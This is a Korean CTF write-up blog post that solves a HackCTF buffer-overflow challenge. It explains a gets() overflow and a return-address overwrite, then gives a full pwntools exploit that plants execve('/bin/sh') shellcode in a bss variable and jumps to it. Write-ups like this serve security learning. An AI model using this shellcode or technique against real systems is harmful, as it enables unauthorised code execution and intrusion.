이번에 풀이할 문제는 HackCTF의 "내 버퍼가 흘러넘친다!!!"다. 역시 간단히 풀이해 보겠다.
문제를 실행해보면 Name, input을 입력받는 것을 볼 수 있다. 별다른 점은 보이지 않아서 ida를 통해 문제를 열어봤다.
Name은 read 함수를 통해 입력 값을 50byte만큼 name 저장, input은 취약한 gets 함수를 통해 입력 값을 20byte 크기([sp+0h][bp-14h]이므로 0x14, 즉 20이다.)의 char형 배열 변수 s에 저장한다.
일단 보기만 해도 gets 함수를 통해 buffer overflow가 일어나는 것을 볼 수 있다.
name 변수의 경우 main 함수에 선언돼 있지 않길래 클릭해서 name 변수가 선언된 위치로 가봤다.
bss 영역에 선언돼 있는 것을 볼 수 있는데, 이 bss 영역은 처음 들어봐서 구글링해봤다.
이 bss 영역은 static으로 선언된 전역 변수중 초기 값이 없는 변수가 들어간다고 한다.(출처 : bbs 영역)
이 문제는 shell을 얻게해주는 함수, 조건도 없어서 처음에는 많이 혼란스러웠다. 지금까지는 스택 오버플로우를 통해 다른 변수의 값을 변조시키는 방법을 주로 사용했지만, 이 경우는 할 수 없기 때문에 이틀정도는 붙잡고 있었던거 같다.
드림핵 시스템 해킹 강의에 나오는 return address overwrite 공격을 배우고 나서야 어떻게 풀지를 깨달았다. 이 main 함수 역시 함수이므로 sfp(호출 전 ebp의 주소), ret(다음에 실행할 코드의 주소)가 존재한다. main 함수에는 변수가 s만 존재하고, s의 크기는 20이므로
위 사진처럼 stack이 구성될 것이다. s는 gets라는 취약한 함수를 통해 입력을 받으므로 bof를 일으켜 이 ret를 조작해, main 함수가 끝난 후 원하는 주소로 이동하게 만들 수 있다. 물론 shell을 얻는 것이 목적이므로 이 ret에는 shell을 얻게 해주는 코드가 있는 주소를 넣어야한다.
이 문제의 경우 shell을 얻게해주는 코드가 따로 주어져있지 않으므로 맨 처음 bss 영역의 변수인 name에 shell을 얻게해주는 쉘 코드를 입력하고(입력 크기가 쉘 코드를 넣을 만큼 넉넉하기 때문), s에서 오버플로우를 일으켜 ret를 name의 주소로 바꿔주면 될 것 같다.
from pwn import *
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
payload += "\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
# 쉘코드 생성
p = remote("ctf.j0n9hyun.xyz", 3003) # ctf 서버 접속
# p = process("./prob1") local exploit
p.recvuntil("Name : ") # Name :이 출력될 때까지 읽음(대기)
p.sendline(payload) # 쉘 코드를 Name 입력란에 입력(전송)
payload = b'A'*24+p32(0x804a060) # ret를 변조할 payload 생성
p.recvuntil("input : ") # input :이 출력될 때까지 읽음(대기)
p.sendline(payload) # payload 입력(전송)
p.interactive()
이번 문제의 경우 입력란이 두 개였기 때문에, recvuntil을 써서 해당 입력란이 나오면 해당 입력란에 넣을 payload를 전송하도록 작성했다.
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Basic_FSB (2) | 2021.05.05 |
---|---|
[HackCTF] x64 Simple_size_BOF (0) | 2021.04.28 |
[HackCTF] x64 Buffer Overflow (0) | 2021.03.20 |
[HackCTF] Basic_BOF #2 (0) | 2021.03.16 |
[HackCTF] Basic_BOF #1 (0) | 2021.03.15 |